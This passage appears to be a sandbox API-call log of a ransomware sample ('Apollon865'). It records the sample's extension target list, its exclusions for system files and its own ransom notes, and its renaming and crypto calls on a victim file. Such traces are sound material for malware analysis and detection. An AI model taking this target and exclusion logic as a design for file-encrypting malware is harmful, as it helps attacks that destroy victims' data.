	[0080.830] lstrcmpiW (lpString1="ico", lpString2="fp4") returned 1
	[0080.830] lstrlenW (lpString="fp5") returned 3
	[0080.830] lstrcmpiW (lpString1="ico", lpString2="fp5") returned 1
	[0080.830] lstrlenW (lpString="fp7") returned 3
	[0080.830] lstrcmpiW (lpString1="ico", lpString2="fp7") returned 1
	[0080.830] lstrlenW (lpString="fpt") returned 3
	[0080.830] lstrcmpiW (lpString1="ico", lpString2="fpt") returned 1
	[0080.830] lstrlenW (lpString="frm") returned 3
	[0080.830] lstrcmpiW (lpString1="ico", lpString2="frm") returned 1
	[0080.830] lstrlenW (lpString="gdb") returned 3
	[0080.830] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0080.830] lstrlenW (lpString="gdb") returned 3
	[0080.830] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1
	[0080.830] lstrlenW (lpString="grdb") returned 4
	[0080.830] lstrcmpiW (lpString1=".ico", lpString2="grdb") returned -1
	[0080.830] lstrlenW (lpString="gwi") returned 3
	[0080.830] lstrcmpiW (lpString1="ico", lpString2="gwi") returned 1
	[0080.830] lstrlenW (lpString="hdb") returned 3
	[0080.830] lstrcmpiW (lpString1="ico", lpString2="hdb") returned 1
	[0080.830] lstrlenW (lpString="his") returned 3
	[0080.830] lstrcmpiW (lpString1="ico", lpString2="his") returned 1
	[0080.830] lstrlenW (lpString="ib") returned 2
	[0080.830] lstrcmpiW (lpString1="co", lpString2="ib") returned -1
	[0080.831] lstrlenW (lpString="idb") returned 3
	[0080.831] lstrcmpiW (lpString1="ico", lpString2="idb") returned -1
	[0080.831] lstrlenW (lpString="ihx") returned 3
	[0080.831] lstrcmpiW (lpString1="ico", lpString2="ihx") returned -1
	[0080.831] lstrlenW (lpString="itdb") returned 4
	[0080.831] lstrcmpiW (lpString1=".ico", lpString2="itdb") returned -1
	[0080.831] lstrlenW (lpString="itw") returned 3
	[0080.831] lstrcmpiW (lpString1="ico", lpString2="itw") returned -1
	[0080.831] lstrlenW (lpString="jet") returned 3
	[0080.831] lstrcmpiW (lpString1="ico", lpString2="jet") returned -1
	[0080.831] lstrlenW (lpString="jtx") returned 3
	[0080.831] lstrcmpiW (lpString1="ico", lpString2="jtx") returned -1
	[0080.831] lstrlenW (lpString="kdb") returned 3
	[0080.831] lstrcmpiW (lpString1="ico", lpString2="kdb") returned -1
	[0080.831] lstrlenW (lpString="kexi") returned 4
	[0080.831] lstrcmpiW (lpString1=".ico", lpString2="kexi") returned -1
	[0080.831] lstrlenW (lpString="kexic") returned 5
	[0080.831] lstrcmpiW (lpString1="e.ico", lpString2="kexic") returned -1
	[0080.831] lstrlenW (lpString="kexis") returned 5
	[0080.831] lstrcmpiW (lpString1="e.ico", lpString2="kexis") returned -1
	[0080.831] lstrlenW (lpString="lgc") returned 3
	[0080.831] lstrcmpiW (lpString1="ico", lpString2="lgc") returned -1
	[0080.831] lstrlenW (lpString="lwx") returned 3
	[0080.831] lstrcmpiW (lpString1="ico", lpString2="lwx") returned -1
	[0080.831] lstrlenW (lpString="maf") returned 3
	[0080.831] lstrcmpiW (lpString1="ico", lpString2="maf") returned -1
	[0080.831] lstrlenW (lpString="maq") returned 3
	[0080.831] lstrcmpiW (lpString1="ico", lpString2="maq") returned -1
	[0080.831] lstrlenW (lpString="mar") returned 3
	[0080.831] lstrcmpiW (lpString1="ico", lpString2="mar") returned -1
	[0080.831] lstrlenW (lpString="marshal") returned 7
	[0080.831] lstrcmpiW (lpString1="ite.ico", lpString2="marshal") returned -1
	[0080.831] lstrlenW (lpString="mas") returned 3
	[0080.831] lstrcmpiW (lpString1="ico", lpString2="mas") returned -1
	[0080.831] lstrlenW (lpString="mav") returned 3
	[0080.831] lstrcmpiW (lpString1="ico", lpString2="mav") returned -1
	[0080.832] lstrlenW (lpString="maw") returned 3
	[0080.832] lstrcmpiW (lpString1="ico", lpString2="maw") returned -1
	[0080.832] lstrlenW (lpString="mdbhtml") returned 7
	[0080.832] lstrcmpiW (lpString1="ite.ico", lpString2="mdbhtml") returned -1
	[0080.832] lstrlenW (lpString="mdn") returned 3
	[0080.832] lstrcmpiW (lpString1="ico", lpString2="mdn") returned -1
	[0080.832] lstrlenW (lpString="mdt") returned 3
	[0080.832] lstrcmpiW (lpString1="ico", lpString2="mdt") returned -1
	[0080.832] lstrlenW (lpString="mfd") returned 3
	[0080.832] lstrcmpiW (lpString1="ico", lpString2="mfd") returned -1
	[0080.832] lstrlenW (lpString="mpd") returned 3
	[0080.832] lstrcmpiW (lpString1="ico", lpString2="mpd") returned -1
	[0080.832] lstrlenW (lpString="mrg") returned 3
	[0080.832] lstrcmpiW (lpString1="ico", lpString2="mrg") returned -1
	[0080.832] lstrlenW (lpString="mud") returned 3
	[0080.832] lstrcmpiW (lpString1="ico", lpString2="mud") returned -1
	[0080.832] lstrlenW (lpString="mwb") returned 3
	[0080.832] lstrcmpiW (lpString1="ico", lpString2="mwb") returned -1
	[0080.832] lstrlenW (lpString="myd") returned 3
	[0080.832] lstrcmpiW (lpString1="ico", lpString2="myd") returned -1
	[0080.832] lstrlenW (lpString="ndf") returned 3
	[0080.832] lstrcmpiW (lpString1="ico", lpString2="ndf") returned -1
	[0080.832] lstrlenW (lpString="nnt") returned 3
	[0080.832] lstrcmpiW (lpString1="ico", lpString2="nnt") returned -1
	[0080.832] lstrlenW (lpString="nrmlib") returned 6
	[0080.832] lstrcmpiW (lpString1="te.ico", lpString2="nrmlib") returned 1
	[0080.832] lstrlenW (lpString="ns2") returned 3
	[0080.832] lstrcmpiW (lpString1="ico", lpString2="ns2") returned -1
	[0080.832] lstrlenW (lpString="ns3") returned 3
	[0080.832] lstrcmpiW (lpString1="ico", lpString2="ns3") returned -1
	[0080.832] lstrlenW (lpString="ns4") returned 3
	[0080.832] lstrcmpiW (lpString1="ico", lpString2="ns4") returned -1
	[0080.832] lstrlenW (lpString="nsf") returned 3
	[0080.832] lstrcmpiW (lpString1="ico", lpString2="nsf") returned -1
	[0080.832] lstrlenW (lpString="nv") returned 2
	[0080.832] lstrcmpiW (lpString1="co", lpString2="nv") returned -1
	[0080.833] lstrlenW (lpString="nv2") returned 3
	[0080.833] lstrcmpiW (lpString1="ico", lpString2="nv2") returned -1
	[0080.833] lstrlenW (lpString="nwdb") returned 4
	[0080.833] lstrcmpiW (lpString1=".ico", lpString2="nwdb") returned -1
	[0080.833] lstrlenW (lpString="nyf") returned 3
	[0080.833] lstrcmpiW (lpString1="ico", lpString2="nyf") returned -1
	[0080.833] lstrlenW (lpString="odb") returned 3
	[0080.833] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0080.833] lstrlenW (lpString="odb") returned 3
	[0080.833] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1
	[0080.833] lstrlenW (lpString="oqy") returned 3
	[0080.833] lstrcmpiW (lpString1="ico", lpString2="oqy") returned -1
	[0080.833] lstrlenW (lpString="ora") returned 3
	[0080.833] lstrcmpiW (lpString1="ico", lpString2="ora") returned -1
	[0080.833] lstrlenW (lpString="orx") returned 3
	[0080.833] lstrcmpiW (lpString1="ico", lpString2="orx") returned -1
	[0080.833] lstrlenW (lpString="owc") returned 3
	[0080.833] lstrcmpiW (lpString1="ico", lpString2="owc") returned -1
	[0080.833] lstrlenW (lpString="p96") returned 3
	[0080.833] lstrcmpiW (lpString1="ico", lpString2="p96") returned -1
	[0080.833] lstrlenW (lpString="p97") returned 3
	[0080.833] lstrcmpiW (lpString1="ico", lpString2="p97") returned -1
	[0080.833] lstrlenW (lpString="pan") returned 3
	[0080.833] lstrcmpiW (lpString1="ico", lpString2="pan") returned -1
	[0080.833] lstrlenW (lpString="pdb") returned 3
	[0080.833] lstrcmpiW (lpString1="ico", lpString2="pdb") returned -1
	[0080.833] lstrlenW (lpString="pdm") returned 3
	[0080.833] lstrcmpiW (lpString1="ico", lpString2="pdm") returned -1
	[0080.833] lstrlenW (lpString="pnz") returned 3
	[0080.833] lstrcmpiW (lpString1="ico", lpString2="pnz") returned -1
	[0080.833] lstrlenW (lpString="qry") returned 3
	[0080.833] lstrcmpiW (lpString1="ico", lpString2="qry") returned -1
	[0080.833] lstrlenW (lpString="qvd") returned 3
	[0080.833] lstrcmpiW (lpString1="ico", lpString2="qvd") returned -1
	[0080.833] lstrlenW (lpString="rbf") returned 3
	[0080.833] lstrcmpiW (lpString1="ico", lpString2="rbf") returned -1
	[0080.833] lstrlenW (lpString="rctd") returned 4
	[0080.834] lstrcmpiW (lpString1=".ico", lpString2="rctd") returned -1
	[0080.834] lstrlenW (lpString="rod") returned 3
	[0080.834] lstrcmpiW (lpString1="ico", lpString2="rod") returned -1
	[0080.834] lstrlenW (lpString="rodx") returned 4
	[0080.834] lstrcmpiW (lpString1=".ico", lpString2="rodx") returned -1
	[0080.834] lstrlenW (lpString="rpd") returned 3
	[0080.834] lstrcmpiW (lpString1="ico", lpString2="rpd") returned -1
	[0080.834] lstrlenW (lpString="rsd") returned 3
	[0080.834] lstrcmpiW (lpString1="ico", lpString2="rsd") returned -1
	[0080.834] lstrlenW (lpString="sas7bdat") returned 8
	[0080.834] lstrcmpiW (lpString1="Site.ico", lpString2="sas7bdat") returned 1
	[0080.834] lstrlenW (lpString="sbf") returned 3
	[0080.834] lstrcmpiW (lpString1="ico", lpString2="sbf") returned -1
	[0080.834] lstrlenW (lpString="scx") returned 3
	[0080.834] lstrcmpiW (lpString1="ico", lpString2="scx") returned -1
	[0080.834] lstrlenW (lpString="sdb") returned 3
	[0080.834] lstrcmpiW (lpString1="ico", lpString2="sdb") returned -1
	[0080.834] lstrlenW (lpString="sdc") returned 3
	[0080.834] lstrcmpiW (lpString1="ico", lpString2="sdc") returned -1
	[0080.834] lstrlenW (lpString="sdf") returned 3
	[0080.834] lstrcmpiW (lpString1="ico", lpString2="sdf") returned -1
	[0080.834] lstrlenW (lpString="sis") returned 3
	[0080.834] lstrcmpiW (lpString1="ico", lpString2="sis") returned -1
	[0080.834] lstrlenW (lpString="spq") returned 3
	[0080.834] lstrcmpiW (lpString1="ico", lpString2="spq") returned -1
	[0080.834] lstrlenW (lpString="te") returned 2
	[0080.834] lstrcmpiW (lpString1="co", lpString2="te") returned -1
	[0080.834] lstrlenW (lpString="teacher") returned 7
	[0080.834] lstrcmpiW (lpString1="ite.ico", lpString2="teacher") returned -1
	[0080.834] lstrlenW (lpString="tmd") returned 3
	[0080.834] lstrcmpiW (lpString1="ico", lpString2="tmd") returned -1
	[0080.834] lstrlenW (lpString="tps") returned 3
	[0080.834] lstrcmpiW (lpString1="ico", lpString2="tps") returned -1
	[0080.834] lstrlenW (lpString="trc") returned 3
	[0080.834] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0080.834] lstrlenW (lpString="trc") returned 3
	[0080.834] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1
	[0080.835] lstrlenW (lpString="trm") returned 3
	[0080.835] lstrcmpiW (lpString1="ico", lpString2="trm") returned -1
	[0080.835] lstrlenW (lpString="udb") returned 3
	[0080.835] lstrcmpiW (lpString1="ico", lpString2="udb") returned -1
	[0080.835] lstrlenW (lpString="udl") returned 3
	[0080.835] lstrcmpiW (lpString1="ico", lpString2="udl") returned -1
	[0080.835] lstrlenW (lpString="usr") returned 3
	[0080.835] lstrcmpiW (lpString1="ico", lpString2="usr") returned -1
	[0080.835] lstrlenW (lpString="v12") returned 3
	[0080.835] lstrcmpiW (lpString1="ico", lpString2="v12") returned -1
	[0080.835] lstrlenW (lpString="vis") returned 3
	[0080.835] lstrcmpiW (lpString1="ico", lpString2="vis") returned -1
	[0080.835] lstrlenW (lpString="vpd") returned 3
	[0080.835] lstrcmpiW (lpString1="ico", lpString2="vpd") returned -1
	[0080.835] lstrlenW (lpString="vvv") returned 3
	[0080.835] lstrcmpiW (lpString1="ico", lpString2="vvv") returned -1
	[0080.835] lstrlenW (lpString="wdb") returned 3
	[0080.835] lstrcmpiW (lpString1="ico", lpString2="wdb") returned -1
	[0080.835] lstrlenW (lpString="wmdb") returned 4
	[0080.835] lstrcmpiW (lpString1=".ico", lpString2="wmdb") returned -1
	[0080.835] lstrlenW (lpString="wrk") returned 3
	[0080.835] lstrcmpiW (lpString1="ico", lpString2="wrk") returned -1
	[0080.835] lstrlenW (lpString="xdb") returned 3
	[0080.835] lstrcmpiW (lpString1="ico", lpString2="xdb") returned -1
	[0080.835] lstrlenW (lpString="xld") returned 3
	[0080.835] lstrcmpiW (lpString1="ico", lpString2="xld") returned -1
	[0080.835] lstrlenW (lpString="xmlff") returned 5
	[0080.835] lstrcmpiW (lpString1="e.ico", lpString2="xmlff") returned -1
	[0080.835] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico.Apollon865") returned 71
	[0080.835] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointportalsite.ico"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointportalsite.ico.apollon865"), dwFlags=0x1) returned 1
	[0080.837] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\sharepointportalsite.ico.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0080.837] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=25214) returned 1
	[0080.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0080.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0080.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0080.837] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0080.838] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0080.838] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.838] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6580, lpName=0x0) returned 0x15c
	[0080.840] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6580) returned 0x100000
	[0080.841] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0080.842] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0080.842] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0080.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0080.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0080.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0080.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0080.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0080.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0080.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0080.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0080.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0080.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0080.843] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0080.843] CloseHandle (hObject=0x15c) returned 1
	[0080.843] CloseHandle (hObject=0x9c) returned 1
	[0080.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0080.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0080.843] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0080.843] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xad743900, ftCreationTime.dwHighDateTime=0x1c62706, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad743900, ftLastWriteTime.dwHighDateTime=0x1c62706, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SharePointTeamSite.ico", cAlternateFileName="SHAREP~2.ICO")) returned 1
	[0080.844] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0080.844] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="Apollon865.txt.exe") returned 1
	[0080.844] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".") returned 1
	[0080.844] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="..") returned 1
	[0080.844] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="windows") returned -1
	[0080.844] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="bootmgr") returned 1
	[0080.844] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="temp") returned -1
	[0080.844] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="pagefile.sys") returned 1
	[0080.844] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="boot") returned 1
	[0080.844] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="ids.txt") returned 1
	[0080.844] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="ntuser.dat") returned 1
	[0080.844] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="perflogs") returned 1
	[0080.844] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2="MSBuild") returned 1
	[0080.844] lstrlenW (lpString="SharePointTeamSite.ico") returned 22
	[0080.844] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\SharePointPortalSite.ico") returned 60
	[0080.844] lstrcpyW (in: lpString1=0x119e650, lpString2="SharePointTeamSite.ico" | out: lpString1="SharePointTeamSite.ico") returned="SharePointTeamSite.ico"
	[0080.844] lstrlenW (lpString="SharePointTeamSite.ico") returned 22
	[0080.844] lstrlenW (lpString="Apollon865") returned 10
	[0080.844] lstrcmpiW (lpString1="amSite.ico", lpString2="Apollon865") returned -1
	[0080.844] lstrlenW (lpString=".dll") returned 4
	[0080.844] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".dll") returned 1
	[0080.844] lstrlenW (lpString=".lnk") returned 4
	[0080.844] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".lnk") returned 1
	[0080.844] lstrlenW (lpString=".ini") returned 4
	[0080.844] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".ini") returned 1
	[0080.844] lstrlenW (lpString=".sys") returned 4
	[0080.844] lstrcmpiW (lpString1="SharePointTeamSite.ico", lpString2=".sys") returned 1
	[0080.844] lstrlenW (lpString="SharePointTeamSite.ico") returned 22
	[0080.844] lstrlenW (lpString="bak") returned 3
	[0080.844] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1
	[0080.844] lstrlenW (lpString="ba_") returned 3
	[0080.844] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1
	[0080.844] lstrlenW (lpString="dbb") returned 3
	[0080.844] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1
	[0080.844] lstrlenW (lpString="vmdk") returned 4
	[0080.845] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1
	[0080.845] lstrlenW (lpString="rar") returned 3
	[0080.845] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1
	[0080.845] lstrlenW (lpString="zip") returned 3
	[0080.845] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1
	[0080.845] lstrlenW (lpString="tgz") returned 3
	[0080.845] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1
	[0080.845] lstrlenW (lpString="vbox") returned 4
	[0080.845] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1
	[0080.845] lstrlenW (lpString="vdi") returned 3
	[0080.845] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1
	[0080.845] lstrlenW (lpString="vhd") returned 3
	[0080.845] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1
	[0080.845] lstrlenW (lpString="vhdx") returned 4
	[0080.845] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1
	[0080.845] lstrlenW (lpString="avhd") returned 4
	[0080.845] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1
	[0080.845] lstrlenW (lpString="db") returned 2
	[0080.845] lstrcmpiW (lpString1="co", lpString2="db") returned -1
	[0080.845] lstrlenW (lpString="db2") returned 3
	[0080.845] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1
	[0080.845] lstrlenW (lpString="db3") returned 3
	[0080.845] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1
	[0080.845] lstrlenW (lpString="dbf") returned 3
	[0080.845] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1
	[0080.845] lstrlenW (lpString="mdf") returned 3
	[0080.845] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1
	[0080.845] lstrlenW (lpString="mdb") returned 3
	[0080.845] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1
	[0080.845] lstrlenW (lpString="sql") returned 3
	[0080.845] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1
	[0080.845] lstrlenW (lpString="sqlite") returned 6
	[0080.845] lstrcmpiW (lpString1="te.ico", lpString2="sqlite") returned 1
	[0080.845] lstrlenW (lpString="sqlite3") returned 7
	[0080.845] lstrcmpiW (lpString1="ite.ico", lpString2="sqlite3") returned -1
	[0080.846] lstrlenW (lpString="sqlitedb") returned 8
	[0080.846] lstrcmpiW (lpString1="Site.ico", lpString2="sqlitedb") returned -1
	[0080.846] lstrlenW (lpString="xml") returned 3
	[0080.846] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1
	[0080.846] lstrlenW (lpString="$er") returned 3
	[0080.846] lstrcmpiW (lpString1="ico", lpString2="$er") returned 1
	[0080.846] lstrlenW (lpString="4dd") returned 3
	[0080.846] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1
	[0080.846] lstrlenW (lpString="4dl") returned 3
	[0080.846] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1
	[0080.846] lstrlenW (lpString="^^^") returned 3
	[0080.846] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1
	[0080.846] lstrlenW (lpString="abs") returned 3
	[0080.846] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1
	[0080.846] lstrlenW (lpString="abx") returned 3
	[0080.846] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1
	[0080.846] lstrlenW (lpString="accdb") returned 5
	[0080.846] lstrcmpiW (lpString1="e.ico", lpString2="accdb") returned 1
	[0080.846] lstrlenW (lpString="accdc") returned 5
	[0080.846] lstrcmpiW (lpString1="e.ico", lpString2="accdc") returned 1
	[0080.846] lstrlenW (lpString="accde") returned 5
	[0080.846] lstrcmpiW (lpString1="e.ico", lpString2="accde") returned 1
	[0080.846] lstrlenW (lpString="accdr") returned 5
	[0080.846] lstrcmpiW (lpString1="e.ico", lpString2="accdr") returned 1
	[0080.846] lstrlenW (lpString="accdt") returned 5
	[0080.846] lstrcmpiW (lpString1="e.ico", lpString2="accdt") returned 1
	[0080.846] lstrlenW (lpString="accdw") returned 5
	[0080.846] lstrcmpiW (lpString1="e.ico", lpString2="accdw") returned 1
	[0080.846] lstrlenW (lpString="accft") returned 5
	[0080.846] lstrcmpiW (lpString1="e.ico", lpString2="accft") returned 1
	[0080.846] lstrlenW (lpString="adb") returned 3
	[0080.846] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0080.846] lstrlenW (lpString="adb") returned 3
	[0080.846] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0080.846] lstrlenW (lpString="ade") returned 3
	[0080.846] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1
	[0080.847] lstrlenW (lpString="adf") returned 3
	[0080.847] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1
	[0080.847] lstrlenW (lpString="adn") returned 3
	[0080.847] lstrcmpiW (lpString1="ico", lpString2="adn") returned 1
	[0080.847] lstrlenW (lpString="adp") returned 3
	[0080.847] lstrcmpiW (lpString1="ico", lpString2="adp") returned 1
	[0080.847] lstrlenW (lpString="alf") returned 3
	[0080.847] lstrcmpiW (lpString1="ico", lpString2="alf") returned 1
	[0080.847] lstrlenW (lpString="ask") returned 3
	[0080.847] lstrcmpiW (lpString1="ico", lpString2="ask") returned 1
	[0080.847] lstrlenW (lpString="btr") returned 3
	[0080.847] lstrcmpiW (lpString1="ico", lpString2="btr") returned 1
	[0080.847] lstrlenW (lpString="cat") returned 3
	[0080.847] lstrcmpiW (lpString1="ico", lpString2="cat") returned 1
	[0080.847] lstrlenW (lpString="cdb") returned 3
	[0080.847] lstrcmpiW (lpString1="ico", lpString2="cdb") returned 1
	[0080.847] lstrlenW (lpString="ckp") returned 3
	[0080.847] lstrcmpiW (lpString1="ico", lpString2="ckp") returned 1
	[0080.847] lstrlenW (lpString="cma") returned 3
	[0080.847] lstrcmpiW (lpString1="ico", lpString2="cma") returned 1
	[0080.847] lstrlenW (lpString="cpd") returned 3
	[0080.847] lstrcmpiW (lpString1="ico", lpString2="cpd") returned 1
	[0080.847] lstrlenW (lpString="dacpac") returned 6
	[0080.847] lstrcmpiW (lpString1="te.ico", lpString2="dacpac") returned 1
	[0080.847] lstrlenW (lpString="dad") returned 3
	[0080.847] lstrcmpiW (lpString1="ico", lpString2="dad") returned 1
	[0080.847] lstrlenW (lpString="dadiagrams") returned 10
	[0080.847] lstrcmpiW (lpString1="amSite.ico", lpString2="dadiagrams") returned -1
	[0080.847] lstrlenW (lpString="daschema") returned 8
	[0080.847] lstrcmpiW (lpString1="Site.ico", lpString2="daschema") returned 1
	[0080.847] lstrlenW (lpString="db-journal") returned 10
	[0080.847] lstrcmpiW (lpString1="amSite.ico", lpString2="db-journal") returned -1
	[0080.847] lstrlenW (lpString="db-shm") returned 6
	[0080.847] lstrcmpiW (lpString1="te.ico", lpString2="db-shm") returned 1
	[0080.847] lstrlenW (lpString="db-wal") returned 6
	[0080.847] lstrcmpiW (lpString1="te.ico", lpString2="db-wal") returned 1
	[0080.847] lstrlenW (lpString="dbc") returned 3
	[0080.848] lstrcmpiW (lpString1="ico", lpString2="dbc") returned 1
	[0080.848] lstrlenW (lpString="dbs") returned 3
	[0080.848] lstrcmpiW (lpString1="ico", lpString2="dbs") returned 1
	[0080.848] lstrlenW (lpString="dbt") returned 3
	[0080.848] lstrcmpiW (lpString1="ico", lpString2="dbt") returned 1
	[0080.848] lstrlenW (lpString="dbv") returned 3
	[0080.848] lstrcmpiW (lpString1="ico", lpString2="dbv") returned 1
	[0080.848] lstrlenW (lpString="dbx") returned 3
	[0080.848] lstrcmpiW (lpString1="ico", lpString2="dbx") returned 1
	[0080.848] lstrlenW (lpString="dcb") returned 3
	[0080.848] lstrcmpiW (lpString1="ico", lpString2="dcb") returned 1
	[0080.848] lstrlenW (lpString="dct") returned 3
	[0080.848] lstrcmpiW (lpString1="ico", lpString2="dct") returned 1
	[0080.848] lstrlenW (lpString="dcx") returned 3
	[0080.848] lstrcmpiW (lpString1="ico", lpString2="dcx") returned 1
	[0080.848] lstrlenW (lpString="ddl") returned 3
	[0080.848] lstrcmpiW (lpString1="ico", lpString2="ddl") returned 1
	[0080.848] lstrlenW (lpString="dlis") returned 4
	[0080.848] lstrcmpiW (lpString1=".ico", lpString2="dlis") returned -1
	[0080.848] lstrlenW (lpString="dp1") returned 3
	[0080.848] lstrcmpiW (lpString1="ico", lpString2="dp1") returned 1
	[0080.848] lstrlenW (lpString="dqy") returned 3
	[0080.848] lstrcmpiW (lpString1="ico", lpString2="dqy") returned 1
	[0080.848] lstrlenW (lpString="dsk") returned 3
	[0080.848] lstrcmpiW (lpString1="ico", lpString2="dsk") returned 1
	[0080.848] lstrlenW (lpString="dsn") returned 3
	[0080.848] lstrcmpiW (lpString1="ico", lpString2="dsn") returned 1
	[0080.848] lstrlenW (lpString="dtsx") returned 4
	[0080.848] lstrcmpiW (lpString1=".ico", lpString2="dtsx") returned -1
	[0080.848] lstrlenW (lpString="dxl") returned 3
